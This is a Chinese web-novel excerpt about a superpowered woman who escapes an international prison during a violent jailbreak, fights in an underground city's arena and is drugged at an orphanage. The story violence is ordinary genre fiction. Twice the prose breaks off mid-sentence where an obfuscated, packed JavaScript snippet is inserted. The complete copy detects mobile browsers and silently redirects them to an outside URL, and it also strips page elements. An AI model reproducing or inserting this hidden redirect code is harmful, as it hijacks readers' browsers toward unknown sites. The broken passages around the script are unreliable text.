浅紫色的液体在月光下折射出惑人的光芒。 洛雪眠眯起漂亮的狐狸眼,唇角微勾,眸中闪过一丝了然。手里把玩着注射针管,闲庭信步般朝背对着窗口的男人走去,轻声说: “尼古德,这深更半夜的,你可真是让我久等呀。” 尼古德闻言惊骇不已,他隐约察觉自己掉入了一个早已为他布置好的陷阱,死死瞪着正朝他缓步走来的洛雪眠,心底陡然升起一股不安的恐惧,他连连后退,颤抖着声音质问:“你、你怎么会……” “我怎么会还醒着,对么?”洛雪眠眉眼弯弯,替他把后半句话说完,随后嗤笑道: “真不知道你这废物脑子里装的都是些什么垃圾,能想出把迷药下在饭菜里这么愚蠢的办法来对付我,拜托,现在的三岁小孩都知道这招早过时了,你这低龄儿的智商还真是令人堪忧。” 尼古德感受到洛雪眠丝毫不加掩饰的鄙夷目光,气得胸膛上下起伏,他恼羞成怒恶狠狠道:“臭娘们儿,你别得意,今晚就是你的死期——” 话毕,尼古德眼中凶光毕露,表情阴鸷狰狞,瞅准时机拔出腰侧的手枪,将枪口迅速对准洛雪眠的脑袋,正要扣下扳机一枪爆头,却骤然发现自己的身体如坠冰窟般,浑身都变得僵硬无比,根本动弹不了一点儿! “怎么可能?!你、你……对我做了什么?”尼古德意识到了什么,整个人震惊不已,“你……你明明用不了异能!” 下一秒,尼古德难以置信地瞪大了双眼。 只听“咔嚓”一声脆响,洛雪眠脖颈上特制的异能抑制项圈被她轻而易举徒手掰断,捏在手里碾成了齑粉。 “……” “嗨呀,摘掉这破玩意还真是让人有点不习惯。” 洛雪眠拍掉手中的粉尘,脱离了项圈沉重的束缚,稍微活动了一下纤长白皙的脖颈,悠哉走到尼古德面前,不紧不慢从他手中夺过枪,将黑黢黢的枪口调转方向,左手食指缓慢扣动扳机,直怼男人眉心。 一滴冷汗从尼古德的额角流下,他喉结滚动,慌张得大声警告:“洛雪眠,你别乱来!袭警可是死罪,我叔叔是监狱长,他不会放过你的!” “呵。” 洛雪眠轻笑一声,丝毫不畏惧男人的威胁,慢条斯理说:“尼古德,你说如果让监狱里的其他人知道——你不仅私下收受贿赂,还伙同你的好叔叔多次贩卖异能者囚犯的活体器官,够死几次呢?” 尼古德心中大骇,连声否认:“你胡说八道!我没有,这是你的污蔑!” “污蔑?”洛雪眠冷笑,继续说:“监狱里每隔一段时间就会有囚犯不明缘由暴毙身亡,然后尸体离奇失踪,就是你干的好事吧,用的就是这个吧。” 洛雪眠说着,两根细长的手指捏着注射针管举到尼古德眼前,晃了晃里面的浅紫色液体。 “GR药剂,这可是禁药呀,你从哪里弄来的?” 众所周知,异能者体质十分特殊,其体内器官不管移植到谁的身上都不会出现排异反应,是理想的器官移植供体,但异能者的身体自带保护机制,器官一旦离体立即失活,需要提前注射特殊药剂才能保持器官活性。 GR药剂中含有一种特殊的神经递质,能达到长效保活的作用,且成分很难被检测出来,常被用在异能者器官贩卖的非法交易当中,早在多年前就被国际法律列为管制药,市面上禁止生产与售卖,只有在不夜城这种灰色交易遍布的地方才有少量流通。 “你去不夜城见了谁?”洛雪眠又问。 尼古德打定了主意,不肯透露半个字,他似乎看出了洛雪眠只不过是在装腔作势吓唬他,不敢真的杀他,人也变得嚣张了起来,眼睛滴溜溜在洛雪眠身上转悠。 这是他第一次正眼打量洛雪眠,从前先入为主觉得一个瞎子好看不到哪里去,可今天才发现,自己竟然才是瞎了眼的那个。 月光下,洛雪眠一身单薄的囚衣,勾勒出纤细的身段,腰肢不盈一握,肌肤白皙细腻如瓷,淡粉色的唇瓣微抿,精致的下颌线条透出一种凌厉的美感,看得人心猿意马。 这惊鸿一瞥,让尼古德把来这里的目的给抛到了九霄云外。 尼古德舔了舔有些干燥的唇瓣,开始游说了起来:“洛雪眠,你跟着韩律那小子有什么好,他还不是把你一个人丢在监狱里自个在外边逍遥快活,你还不知道吧,他刚跟商家小姐订婚,你在这里眼巴巴苦等有什么意思,还不如跟着小爷我……啊啊啊——!!!” 伴随着一声重物倒地的巨响,男人凄厉的哀嚎惨叫在整个监舍里环绕。 洛雪眠冷漠地瞥了眼趴在地上捂着小腹疼得浑身抽搐的尼古德,便不再理会,目光转向了窗外,无聊地把手中的枪拆了又卸,卸了又装,以此来消磨时间。 随着时间的推移,空气中远远飘来了一股极淡的火药味,洛雪眠来了精神,停下手中的动作,唇角缓缓翘起。 终于来了。 下一瞬,一声惊天动地的剧烈爆炸声突兀响起,冲天的烟雾夹杂着火光向四周弥漫,此起彼伏的惊恐尖叫声和刺耳警报声划破深夜的寂静。 两人身处的监舍受到爆炸波及跟着晃动了起来,尼古德涣散的瞳孔中出现了一道模糊的身影。 远处的烟火映照出洛雪眠精致脱俗的脸庞,她缓缓蹲下身,冰冷的枪口抬起男人的下巴,嘴角挂着危险的笑意,像是问家常一样轻声说: “尼古德,你玩过荡秋千吗?” “……?!!” ** “快!快联络国际警署,请求支援!有人劫……” 混乱不堪的监狱广场上,满脸慌张的狱警最后一个字还没有来得及吐出来,就被人从身后咔嚓一声拧断了脖子。 “嘁。”一个纹了花臂的男人将手中咽气的狱警尸体丢到一边,他的身后已经横七竖八倒了一地的尸体。男人不屑地擦了擦染血的手,讥讽道:“国际监狱就这点实力?一个能打都没有,全他妈是些软蛋儿。” 男人身后站着一个年轻的男孩,个子瘦小,长相清秀却并不亮眼,脖颈上套戴着三指宽的黑色项圈,他皱眉看了眼地上堆叠着的尸体,冷声阻止:“够了,蛇四,我们是来找项圈钥匙的,别在这里浪费时间。” 蛇四闻言回头,脸色沉了下来,一双阴冷的竖瞳危险眯起,语气不善道:“侯六,你他妈算老几,也敢指使老子?要不是头儿让我来救你,你就在这破监狱里等死吧。” 侯六神情冷漠,不客气地直接回怼:“我不需要你救。” “嘿,你个不识好歹的小兔崽子。”蛇四单手揪起毫无反抗能力的侯六,一条红纹毒蛇从他纹满刺青的花臂上盘旋而出,吐出猩红的蛇信冰冷凝视着被勒得涨红脸的侯六,仿佛随时都会咬上一口,取其性命。 “行了行了,别吵了,干正事要紧。”旁边一个膀大腰圆壮硕如熊的男人沉声打断两人,“找不到头儿要找的人,回去谁都不好交代。” 蛇四冷哼一声,松开侯六的衣领,朝地上啐了一口,意有所指骂了句:“狗娘养的玩意,真他妈多事。” 被甩在地上的侯六死死攥紧了拳头,用力过猛导致指甲深深陷进了肉里。 蛇四装模作样整理了一下衣襟,正要迈步往罪犯监舍的方向走,一枚消音子弹擦着他的脑袋而过,要不是他反应够快偏头躲开,此刻已经被一枪爆了头。 大批的狱警从四面八方涌了过来,将三人团团围住,黑压压的枪口对准了他们每一个人,齐声大喊:“不许动!” 持枪站在最前方的老狱警神情肃然,刚才的那一枪正是他的杰作。 蛇四阴鸷的目光将老狱警上上下下打量了个遍,歪头阴恻恻笑着说:“老头儿,可以呀,区区一个普通人也敢来挑衅老子,就冲你这份不怕死的勇气,一会儿给你留个全尸。” 老狱警无动于衷,警惕注视着三人,抬手示意手底下的狱警准备集火围剿劫狱者。 忽然,一阵窸窸窣窣的怪异声响从身后积雪的草丛里传来,随即一大片黑影朝持枪的狱警们迅速逼近,等众人终于能看清那密密麻麻的黑影到底是什么东西的时候,全都吓得心惊胆颤。 有人惊恐大喊:“我的天!蛇!!这些全都是蛇!!!” 狱警们慌乱躲避脚下吐着蛇信的蛇群,原本整齐的队形被完全打乱,老狱警持枪射杀了几条逼近眼前的毒蛇,又朝天 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随着一声“虹膜识别成功”的机械音响起,侯六脖颈上的特制项圈应声脱落,砸到了雪地上。 蛇四把已经没用的眼球丢掉,抬脚踩碎,擦了擦染血的手,便不再看脸色惨白呆住的侯六一眼,大摇大摆朝监舍走去。 “走啊,还傻愣着干嘛,找人去。” 身旁的熊三推搡了侯六一把,皱着眉提醒了一句,随后快步跟上已经走远的蛇四。 侯六怔怔地盯着地上已经解开的项圈,抿唇不语。良久,他拖着像是灌了铅似的双腿,缓慢走到老狱警的尸体旁边,膝盖一弯,跪坐于地,颤抖着伸出手将那双血肉模糊的眼睛缓缓阖上。 他的身后,雪花纷纷扬扬飘落,几十具狱警的尸体僵硬地倒在血泊之中,一片死寂,毫无生机。 ** 蛇四一路上见人就杀,畅通无阻闯进了监舍大楼,逮了个正准备趁乱逃跑的囚犯,阴沉着脸盘问:“G1009号房在哪里?” 刘忙心里直呼倒霉,但不敢反抗,颤抖着声音回答:“在、在四楼走廊最后一间房。” 蛇四知道了具体位置,正要一枪了结掉刘忙,被紧跟上来的侯六制止:“蛇四,你杀的人已经够多了。” 蛇四显然杀红了眼,他冷笑着看向阻拦自己的侯六,“侯六,你少他娘的在老子面前装,心软了?摆出这副悲天悯人慈悲为怀的虚伪面孔给谁看呢,识相点赶紧给老子闪开!” 侯六仍挡在刘忙身前,面无表情提醒:“我已经听到了国际刑警车子的警笛声,离我们只有不到三公里的距离,再耽搁下去,我们谁都逃不了。” 身后的熊三也焦急附和:“蛇四,老六的耳力不会错的,听说国际警署的司无枫是A级异能者,不好对付,头儿又不在,咱们得赶紧找到人离开。” 侯四权衡了一下利弊,将刘忙甩到一边,朝四楼直奔而去。 踹开门,昏暗的光线中,只能看到窗口五花大绑倒吊了一个人,看体型是个男人,正在拼命挣扎摇晃。 尼古德看到来人,喜出望外,用眼神拼命示意蛇四快把自己放下来。 蛇四皱眉扯下尼古德嘴里塞着的抹布,厉声质问:“人呢?” 尼古德显然被吊了很久,整个人还是晕乎的,一时还没有搞清楚状况,急得破口大骂:“蛇四,你他妈坑老子是吧,还不赶紧把我……” 尼古德愕然望着顶在自己额头上的冰冷枪管。 蛇四没了耐心,枪口往前戳了戳,恶狠狠地盯着他:“这里边的人呢?哪去了!?” 尼古德怂了,满头冷汗:“我、我也不知道,爆炸声刚响没多久,她……她就跑了。” “妈的。”蛇四恼怒不已,狠狠砸了下地板,侯六冷静的声音从身后传来:“国际刑警还有不到五分钟就会赶到这里,我们得撤了。” 蛇四闻言站起身,把枪丢给侯六,寒着张脸命令:“你身上的伤是这废物打的吧,给你个报仇的机会,去,把他解决掉,省得把我们之间的交易供出来。” 侯六盯着手里的枪,静默了一会儿,缓缓举起,对准了男人的命门。 尼古德瞪大眼,反应过来后惊恐地拼命求饶:“别杀我,我错了,我不知道他跟你们是一伙的,求求你们别杀我,我什么都不会说的,真的,我啊啊啊啊啊——” 只听砰砰两声枪响,侯六神情淡漠收起枪,丢下一句“撤退”,头也不回地离开。 “切,杀个人都不敢。”蛇四瞥了眼双腿中枪疼得昏厥过去的尼古德,打了个响指,敞开的窗户外传来一阵“嘶嘶”声,无数的毒蛇爬进了监舍里,前仆后继将吊着的男人吞没。 “侯六,你最好不要让我抓到什么把柄……”蛇四喃喃着,眼里寒光一闪而过。 5. 傀儡 不夜城,地下格斗场。 金碧辉煌的场馆内,一场实力悬殊的生死挑战即将展开,观众席上爆发出一阵阵震耳欲聋的尖叫欢呼声。 位于最中央的擂台上,代号“犀牛”的格斗选手摩拳擦掌,倒三角形的眼睛紧盯着距离自己三米开外的女孩,眼中尽是轻视鄙夷。 女孩身形单薄,长发高高束起,脸上戴着白色狐狸面具,遮住了大半张脸,虽窥不见真容,但裸露在外的肌肤却洁白得没有一丝瑕疵。 为了避免不必要的麻烦,按照地下格斗场的规矩,凡是在场人员,不论观众还是选手,都需要严格佩戴面具以掩饰真实身份。 站在她对面的男人,头戴黑色犀牛独角面具,身高已然超过了两米,庞大的身躯魁梧壮硕得像座小山,每走一步都能让台面震上一震。 他轻蔑地抬了抬下巴,粗声粗气嘲笑道:“小美人儿,就是你要挑战我?可别走错了地,就你这小身板,连我的一拳头都扛不住,还是赶紧滚下台回去找男人玩过家家吧。” 话落,周围响起一片哄笑声。 在所有人看来,这场搏斗的胜负已经毫无悬念,不会有人觉得,手无缚鸡之力的女孩能打败以蛮力著称的犀牛。 格斗场规定,场上所有选手不能使用异能,比拼全靠肉搏,并且上场前都需要签署免责声明,承诺挑战赛一旦开始,生死不论。 在场的观众都是有钱有势的社会名流,出现在这里的目的就是花钱找刺激。他们的脸上也戴着各式各样的面具,眼中迸发出狂热变态的光芒,已经迫不及待想要看到羸弱如蝼蚁的女孩被百战百胜的犀牛一拳砸成肉泥的血腥场景。 女孩安静站在台上,神色波澜不惊,对犀牛的嘲讽置若罔闻,周遭的喧嚣仿佛也与她无关。 她缓慢扫视了一圈观众席上的人,最后目光定格在身穿燕尾服戴着黑白面具的裁判身上,语气平淡地问:“可以开始了吗?” 裁判愣了一下,显然没有见过这么着急找死的人。 犀牛被人无视,勃然大怒,格斗一开始,就横冲直撞朝女孩袭来。他的体格十分庞大,但速度极快,眨眼之间便冲到了女孩身前,眼看着夹带着劲风的铁拳就要砸下—— 众人都屏气凝神期待着接下来那一幕。 然而就在这个时候,原本站立在原地的女孩却突然凭空消失,众人甚至都来不及反应,一道虚影闪现在了犀牛的身侧,轻而易举便截住了犀牛使尽全力的一击。 犀牛奋力挣扎欲挣脱桎梏,同时另一只手挥拳狠狠朝女孩袭去。女孩身形一晃,侧身灵巧避开,手腕迅速翻转,伴随着一声骨头被折断的脆响,犀牛连惨叫都来不及发出,就被女孩一个侧摔重重砸在了地上,接着也没给犀牛留任何反抗的机会,干脆利落的一脚就将他踹下了擂台,掀起一片尘土。 女孩傲立于台上,仿佛身经百战般,整套动作娴熟无比,一气呵成,仅在刹那间就结束。 一时间,观众席上鸦雀无声,静得针落可闻。 密闭的格斗场中,弥漫着一股奢靡香氛与血汗混杂的怪异气味,很淡,但对于气味敏感的人来说,却令人几欲作呕。 女孩不适应地皱眉屏息,看都没看一眼地上半死不活的犀牛,微抬下颌,视线落在了已经呆愕住的裁判身上,语出惊人云淡风轻地说: “下面的挑战麻烦让他们一起上,我赶时间。” 裁判:“……” ** 女孩从地下格斗场出来的时候,已经是深夜。她摘下脸上的狐狸面具,露出一张精致脱俗的脸蛋,正是“越狱”出来的洛雪眠。 洛雪眠抬头看了眼“天空”,一望无际的黑暗中“繁星遍布”,那是三万三千九百九十九台光影转换器,据说每一台都造价不菲。 不夜城位于地底,白天与黑夜的切换全靠头顶上的这些高科技产品。在这里,没有春夏秋冬的季节变化,永远温暖潮湿,气候宜人。 地下格斗场位于北区,也就是权贵云集的富人区。这个时间点,路上行人寥寥无几,地面湿漉漉的,应该是刚被清洁工仔细冲刷过。 洛雪眠身上套了件从垃圾堆里捡来的黑色冲锋衣,脸上戴着黑色口罩,双手插兜,漫无目的地在大街上流浪,经过一处破旧的宣传栏时,她停下了脚步,清澈的眼眸盯着上面张贴的报纸一动不动。 报纸上刊登了一则新闻,报道了昨夜彩虹市第八国际监狱发生的一起情节恶劣的重大劫狱事件。 洛雪眠一目十行快速浏览完内容,上面写了嫌疑人尚未缉拿归案,有几个趁乱逃狱的囚犯还在追捕当中,并没有详细写明伤亡情况,只配了一张打了马赛克的现场照片。 洛雪眠的目光定定地停留在照片的左下角,那里有一只染了血的手入镜,很显然,手的主人已经遇害,五指张开,无力地垂在地面上,其无名指上戴着一枚款式简约的银戒。 她认得,那是老狱警的婚戒,戴了几十年都没有舍得摘下来过。 远处有风吹过来,迷了人的眼。恍惚间,洛雪眠想起了半年前,她入狱的那天,就是老狱警来接的她。 她刚进监狱那会儿,状态可不是一般的糟糕,遍体鳞伤,而且伤势极重,给她检查的医生说,她快要死了。 洛雪眠从不惧怕死亡,哪怕人已经奄奄一息躺在病床上了,可心底却是雀跃的,觉得终于要解脱了,便一点也不配合,拒绝接受治疗。 老狱警是个很执拗的人,他坚称既然法律没有判定她的罪孽需要死亡来偿还,那么她就不应该死。他甚至气急败坏把洛雪眠骂了一顿,说她是个只会逃避现实的懦夫。 最后,经过一番全力救治,洛雪眠还是被人从鬼门关拉了回来。醒过来的时候,病床旁多了一束雪玫瑰。 这是一种变异玫瑰,通体雪白晶莹,异常稀有,只生长在极寒之地,售价也十分昂贵。花朵一旦绽放,便永不凋零,所以又叫永生花。 午后的阳光倾洒进来,雪白的玫瑰花瓣在微风中摇曳。韩律就是在这个时候冒出来的,他吊儿郎当地盯着洛雪眠的左眼瞧,很遗憾地告诉了她一个消息。 她的命虽然捡回来了,但不幸的是——左眼瞎了。 从那天起,洛雪眠成了一个有缺陷的残疾人。 哒哒哒…… 洛雪眠的回忆被远处传来的一阵杂乱脚步声打断,她略微思索,闪身躲到了一家店铺的角落里,在黑暗中隐匿了身形。 片刻后,脚步声由远及近,街头处走过来了八个衣着怪异的男人,清一色的黑衣黑裤黑皮鞋,脑袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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洛雪眠下意识屏住了呼吸,视线中出现了一个窈窕的身影。女人一身艳丽的红裙,样式有点像欧洲中世纪的蓬蓬裙,手持一柄贵妇羽扇遮住了面容,踩着红色高跟鞋婀娜多姿走到女孩的尸体旁边,优雅抬手将白布重新拉起盖上。 等做完这个动作,女人抬头朝洛雪眠藏身的地方看了过来,眸光微闪,红唇缓缓翘起。 洛雪眠僵了一下,瞬间感知到了危险。 糟糕,被发现了。 但还不待她有所动作,女人便收回了目光,若无其事地继续操控傀儡们抬起尸体,朝前方走去。 直到这帮人的身影彻底消失在了大街上,洛雪眠才从暗处走出来。 刚才她看得分明,那个女人操控傀儡靠的是手中泛着红光的透明丝线。 由此基本可以判断,女人使用的是控制系的异能,能同时操控这么多的傀儡,说明等级不低,至少在B级以上。 看来这不夜城还真是卧虎藏龙,随便走在大街上都能碰到等级不低的异能者。 不过…… 洛雪眠摸着下巴,百思不得其解。 地下城一向鱼龙混杂,各方势力盘根错节,像斗殴、抢劫、杀人放火这样的事情时有发生,哪怕是军火、毒品以及人口的走私在这里也是屡见不鲜,但这种深更半夜抬着两具尸体在大街上招摇过市的行为,就有点匪夷所思了。 那一男一女的两具尸体,到底特殊在哪里?为何值得那个诡异的女人如此小心翼翼地对待。 ……这不夜城,还真是越来越有意思了。 6. 小男孩 不夜城的北区富庶繁华,南区却截然不同,那里是混乱拥挤,肮脏不堪的贫民窟。 后半夜,洛雪眠在南北两区交接的地方寻了一个僻静的小公园,将公园长凳上的垃圾清理了一下,又把冲锋衣的拉链拉到最高,戴上兜帽后,便以天为被,以地为席躺了下来。 她的衣服口袋里,还妥善放着一张匿名银行卡,里面存着她在地下格斗场打了一夜挑战赛赚到的钱,数额不小,后面跟着好多个零。 但洛雪眠没地方用,因为她现在是个实打实的黑户,是潜逃在外的通缉犯。 不管是酒店住宿还是银行取钱,都需要身份验证,洛雪眠恰恰没有身份ID卡,所以只能露宿街头了。 她闭上了眼睛,保持着一个姿势不动,一夜无梦捱到了天亮。 清晨的第一缕“阳光”洒下来的时候,洛雪眠睁开了眼睛。 地下城的居住环境其实还挺适合养老的,不仅气候宜人,还将一切都模拟得跟地上差不多。比如此刻,洛雪眠的头顶上方,一只小肥啾正扑腾着翅膀在她耳边叽叽喳喳。 洛雪眠跟这只胖鸟对视了几秒,撑起半个身子伸手把它从头顶拽了下来,扯着小家伙的半边翅膀,提溜到眼前认真打量。 小肥啾颇有灵性,扑腾了几下翅膀便不再挣扎,歪着头,亮晶晶的小眼睛也同样看向洛雪眠,不知道小脑袋瓜子里在想些什么。 洛雪眠见这小东西完全不怕人,也不反抗,便把它放到了手心。 她用指尖无聊地戳了戳小肥啾圆滚滚的肚子,哼笑一声,说:“这么肥,家养的吧,敢吵我睡觉,胆子倒是不小。” 胆大包天的小肥啾不会说话,扑腾着翅膀飞起来绕着洛雪眠不断转圈,似乎是想身体力行证明自己不胖。 洛雪眠被它逗笑了,单手托腮任由小家伙围着自己飞来飞去。 小肥啾飞了没几圈便累得不行,不一会儿就瘫倒在了洛雪眠的手心。 洛雪眠嘴角弯起,挑眉问它:“哎,你从哪里飞来的?” 叽叽。 “还认得回去的路吗?” 叽叽。 洛雪眠皱眉:“难道是离家出走?” 啾啾。 …… 一大一小对视了半天。 洛雪眠扶额,对自己这弱智的行为十分无语,她真是睡糊涂了,这小家伙要是能听懂她说话那才真是见鬼了。 她重新躺下,双手枕着脑袋,望着“天空”,眼神有些落寞,呢喃道:“算了,我也是无家可归,你要是没地方去,咱俩正好搭个伴。” 小肥啾飞下来,蓬松的小脑袋贴着洛雪眠的脸颊蹭了蹭,似乎是在安慰她。 一人一鸟就这样相处了一早上,时间过得很快,转眼到了中午,小肥啾饿得没了力气,耷拉着脑袋没什么精神。 洛雪眠见了,笑话它:“你都这么胖了,饿一顿不正好减肥么,不然哪天真胖得连飞都飞不起来。” 小肥啾没搭理她,继续装死。 洛雪眠从长凳上起身,伸了个懒腰,头顶的光影转换器模拟了正午刺眼的阳光和气温,她估摸了下时间,觉得差不多也该干正事了。 洛雪眠把小肥啾带上,朝公园大门口的方向走去,也不管它能不能听懂,边走边安慰小家伙:“好啦,我也有两天没有吃东西了,你再坚持一下,咱们一起找吃的去。” 小肥啾似乎听懂了洛雪眠的话,顿时来了精神,挣扎着飞了起来,朝她叽叽喳喳不知道想表达些什么,随后朝公园的西边飞去,一边飞还一边时不时回头确认洛雪眠有没有跟上。 洛雪眠虽然心中疑惑,但还是跟着小家伙出了公园,穿过两条马路,又在小巷子里七拐八拐,最后来到了一家偏僻的儿童福利院门前。 福利院的铁栅栏门上贴了一张白纸,洛雪眠快速浏览了一遍,上面写了福利院因为人手紧缺,所以诚挚地邀请社会各界爱心人士来这里做志愿者,并且包吃包住。 一看到包吃包住这几个字,洛雪眠心中一喜,这不正是她目前最需要的吗? 她笑着望向小肥啾,夸赞道:“原来你是来给我指路的呀,真是只聪明的小鸟,要不,我以后就叫你‘肥肥’吧。” 啾啾。 “你不喜欢?那……叫‘啾啾’怎么样?” 叽叽。 “真乖。”洛雪眠摸了摸啾啾的小脑袋,抬脚往福利院走去。 福利院的大门年久失修,上边的锁扣已经生锈,门也是虚掩的,洛雪眠朝里边张望了一眼,见没有保安,便直接推门走了进去。 刚走进院子,旁边的房子里传来了一阵稚嫩的歌声,洛雪眠寻声找到了教室,门口站着一位慈蔼的老太太,老太太年纪很大了,头发花白,眼睛上架着一副泛黄的老花镜,正目光柔和地聆听着孩子们的歌声。 洛雪眠等歌声停了才走过去跟老太太打招呼,并说明了来意。 老太太是这家儿童福利院的院长,听说洛雪眠是来这里做义工的,十分欣喜。她边带洛雪眠参观,边简单介绍福利院的基本情况,并告知了义工每天需要完成的工作。 洛雪眠很顺利地在这家福利院安顿了下来,并开启了两点一线的生活。 白天她在福利院里做义工,帮忙照顾这里的孤儿,晚上到点后去北区的地下格斗场,以“白狐”的身份打挑战赛赚钱攒积分。 短短几天时间,洛雪眠一路过关斩将,不断越级挑战,且从无败绩,积分直接从最底层狂跳到了前三。这猛烈的势头不仅吸引了众多人的关注,更是成为了格斗场上赤手可热的“新星”,每次轮到她的比赛,都是座无虚席,尖叫不断。一时间风光无限,格斗场也靠着她赚得盆满钵满。 但她如此招摇的行径,也引起了许多人的不满,毕竟蛋糕就这么大,看不惯她的人背地里使了不少绊子,但都被她轻松化解了。 也有人跳出来告诫过她盛极必衰的道理,劝她低调些比较好。 洛雪眠都是一笑了之,她要的就是高调,而且越高调越好。毕竟,不闹出点动静,还真吸引不了某些人的注意。 格斗场的顶楼办公室里,几十台监控设备正在同时运行,格斗场内每个角落在这里都被监视得一览无遗。 监控屏幕的正对面,皮质高脚椅上坐着一个全身包裹在黑袍里的人。这人身量矮小,分辨不出男女,兜帽下只露出一小截下巴,正饶有兴致地观看着面前的监控画面。 中间最大的一块监控屏幕上,正播放着戴了白狐面具的洛雪眠挑战积分排名第一的“巨鳄”全过程。 比赛相当激烈,巨鳄作为地下格斗场的台柱子,实力不容小觑,属于攻守兼备的类型,攻势异常猛烈,但最后却还是被洛雪眠打败,悻悻离场。 当电子积分排行榜显示“白狐”的积分跳到了第一的时候,黑袍人冲站在身后西装革履的格斗场管理者招了招手。 管理者颇有眼色,快步上前,低眉顺眼恭敬禀报:“大人,这个叫‘白狐’的丫头,来咱们这里不过三天,就打败了场子里所有的种子选手,虽说也帮咱们赚到了不少钱,但实在是可疑,需要小的调查下她的身份吗?” 说完,他小心翼翼观察黑袍人的反应,暗自揣度着对方的心思,生怕自己一个不小心就惹得这位大人物不高兴。 黑袍人不置可否,声音经过了变声处理,听不出喜怒。 “我要的东西呢?” “已经准备好了。”管理者说着,不敢有一丝耽搁,连忙从西装口袋里掏出一个很小的玻璃药瓶,恭敬地弯下腰,双手递上。 黑袍人伸手接过,垂眸端详着小药瓶里面的蓝色粉末。不远处的桌面上,凌乱摆放着几张通缉画像,置于最上方的是一张年轻女孩的脸,左眼上戴着黑色眼罩,神情冰冷孤傲。 “洛雪眠……” 黑袍人喃喃着,嘴角扯出一抹意味不明的笑。 “还真是个有意思的人。” ** 洛雪眠趁福利院里的孩子们做祷告的空档打起了瞌睡,昨晚她跟巨鳄打完了最后一场比赛,虽然那个被她打趴下的大块头没十天半个月是爬不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253963|139747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来了,但她的右手也不可避免地受了点伤。 老院长问起的时候,洛雪眠谎称是自己干活时不小心伤到的。老院长没有怀疑,反而心里很愧疚,不再安排洛雪眠去做重活,而是让她到教室里陪同小孩子们一起玩耍。 但洛雪眠这个人,对待小孩子向来只有三分钟热度。没一会儿功夫,她便失去了耐心,旁边的小孩子哭闹不止她也不管,事不关己杵在原地,全程冷着张脸。为此,教孩子们唱歌的黄鹂老师不满地瞪了她好几眼,连老院长都被哭声惊动赶了过来。 最后,洛雪眠受不了老院长苦口婆心的唠叨,败下阵来,认命地走到嚎丧一样的小胖墩身边,挑眉问他:“小孩儿,你哭什么?天又没塌,什么事情值得你哭成这样?” 小胖墩伸着小短手,一边抹眼泪一边委屈地说:“小雪老师,有人欺负我。” 就这?屁大点事。 洛雪眠懒洋洋回:“怕什么,直接打回去。” 小胖墩抽噎着,疑惑不解地问:“可是,院长奶奶说了不能打架,打架的都是坏孩子。我们要做个讲道理的好孩子。” 洛雪眠双手抱于胸前,无语反问:“你跟欺负你的人讲道理,他们就不欺负你了?” 小胖墩摇头。 洛雪眠继续扯歪理:“所以,谁的拳头硬谁就是老大,懂?” “哦……”小胖墩似懂非懂。 洛雪眠顶着嗡嗡响的脑袋强撑到了午饭时间,等孩子们撒丫子跑去了食堂,她才解脱般舒了口气。 世界终于清净了。 洛雪眠看了眼宛如被飓风席卷过的凌乱不堪的教室,心累地揉了揉胀痛的太阳穴,深吸口气弯腰开始整理起来。 刚把地上散乱的积木堆放回原位,眼角余光忽然瞥到窗外喷泉池边孤零零坐着一个小男孩。 小男孩看着眼生,约莫八九岁的年纪,长得玉雪可爱,阳光下,一双大眼睛乌黑明亮,但眼眸深处似乎又透着与年龄不相符合的深沉。身上穿了件破旧且不太合身的衣服,应该是从比他大的孩子那里继承下来的。 洛雪眠走过来的时候,小男孩正抱着一个破烂的布偶发呆。 “小朋友,你是新来的吗?我好像没有见过你。”洛雪眠出声喊他。 小男孩闻言抬头,眼神懵懂清澈,有些拘谨地看向洛雪眠。 洛雪眠在他身边坐下,指了指他手里的玩偶,问他:“这是你的玩具吗?” 那是一个十分破旧的兔子玩偶,灰扑扑的已经辨认不出本来的颜色,兔子的眼珠也少了一个,肚子的位置像是被人用剪刀恶意划破过,里面填充的棉絮都冒了出来。 小男孩咬唇,把玩偶抱得更紧一些,低头难过地说:“姐姐送的,坏了。” 看来这个东西对他很重要。 “……”洛雪眠叹了口气,眼神情不自禁变得柔和,揉了揉小男孩的脑袋,伸手到他面前,轻声说:“如果你相信我的话,把它交给我吧,我帮你把它复原。” 小男孩表情诧异,犹豫迟疑了半天,最后还是依依不舍把玩偶递给了洛雪眠。 “漂亮姐姐,你会把兔子警官补好的,对吗?”小男孩眼中满怀希冀望向她。 洛雪眠点了点头,接过玩偶,看了眼食堂的方向,蹙眉问他:“你怎么不去吃饭?一个人跑到这里来。” 小男孩摇了摇头,从身边的小书包里翻出了一个小蛋糕,捧到洛雪眠面前,开心地分享:“我有蛋糕,漂亮姐姐,一起吃。” 洛雪眠无奈笑笑,正要拒绝,小男孩已经挖了一大勺蛋糕递到了她嘴边。盛情难却之下,她只好硬着头皮吃掉,蛋糕入口即化,奶油的甜香在唇齿间萦绕。 “谢谢你的好意,蛋糕很好吃,剩下的你留着自己吃吧。不过我们现在得赶紧去食堂了,不然一会儿没有饭吃了哦。” 洛雪眠说着,就要拉着小男孩起身离开,却突然感到一阵天旋地转的眩晕,来不及反应便径直栽了下去。 昏迷前的最后一眼,她模糊间恍惚看到了,小男孩缓缓翘起的嘴角…… 7. 新名字 洛雪眠是被冻醒的。 按理来说,她不应该畏惧寒冷。可极其敏锐的直觉让她察觉到了从后背窜上来的一股寒意,哪怕大脑还处于混沌状态,凭借多次死里逃生的经验,也能让她条件反射迅速做出反应,将“危险”从身上剔除。 缓缓睁开眼,迷糊的视线逐渐聚焦,洛雪眠终于看清了自己此刻的处境。 眼前是一间昏暗窄小的房间,弥漫着潮湿与阴冷。洛雪眠靠坐在墙边,迟钝麻木的感知逐渐回拢,她后知后觉,发现手中有什么凉滑的东西正在拼命扭动着,垂眸定睛一看—— 